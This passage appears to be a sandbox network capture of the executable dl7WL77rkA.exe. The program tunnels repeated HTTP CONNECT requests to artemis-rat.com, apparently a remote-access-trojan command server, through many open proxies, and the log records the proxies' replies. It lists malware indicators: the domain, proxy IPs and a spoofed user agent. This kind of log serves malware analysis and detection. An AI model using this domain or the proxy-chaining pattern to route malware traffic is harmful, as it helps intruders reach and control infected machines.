Mar 11, 2024 03:30:51.202053070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.201961994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.5	54150	38.54.6.39	9080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.015697956 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:47.243484020 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.5	53365	206.220.175.2	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.019180059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.5	54143	41.231.37.76	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.020776987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.528063059 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.5	54117	103.216.49.151	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.028364897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.386403084 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.5	53879	184.170.245.148	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.030430079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.5	54275	172.67.3.108	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.030459881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.185097933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.5	54144	119.3.215.41	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.032833099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.5	50012	154.0.14.116	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.071146965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.145448923 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.5	54219	38.162.12.82	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.072016954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.516192913 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.5	53790	46.29.116.3	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.072019100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.5	54113	102.132.201.202	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.076698065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.5	53778	60.211.195.150	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.084198952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.5	54116	111.88.240.201	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.085722923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.5	54288	104.16.108.234	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.088392973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.243036985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.5	54297	172.67.250.212	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.098037004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.259162903 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.5	54114	74.118.80.244	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.098038912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.5	54299	172.67.181.37	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.098160028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.259756088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.5	54305	104.21.194.182	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.100167036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.260032892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.5	54308	104.16.105.198	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.109563112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.267565966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.5	54333	172.67.182.22	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.121196032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.275244951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.5	54127	113.204.4.142	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.121524096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.5	50163	162.241.158.204	52980	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.121619940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.201778889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.202163935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.201958895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.5	54182	94.23.252.168	9180	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.122932911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.5	52866	51.75.122.80	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.125768900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202020884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.214446068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.217273951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.5	54171	130.255.162.199	20398	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.130609989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889527082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905319929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.5	50153	165.227.104.122	29992	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.133182049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.201910973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.202167034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.201977968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.5	52795	159.223.71.71	61818	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.144768000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202044010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.214451075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.217273951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.5	54191	47.243.114.192	8180	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.148956060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
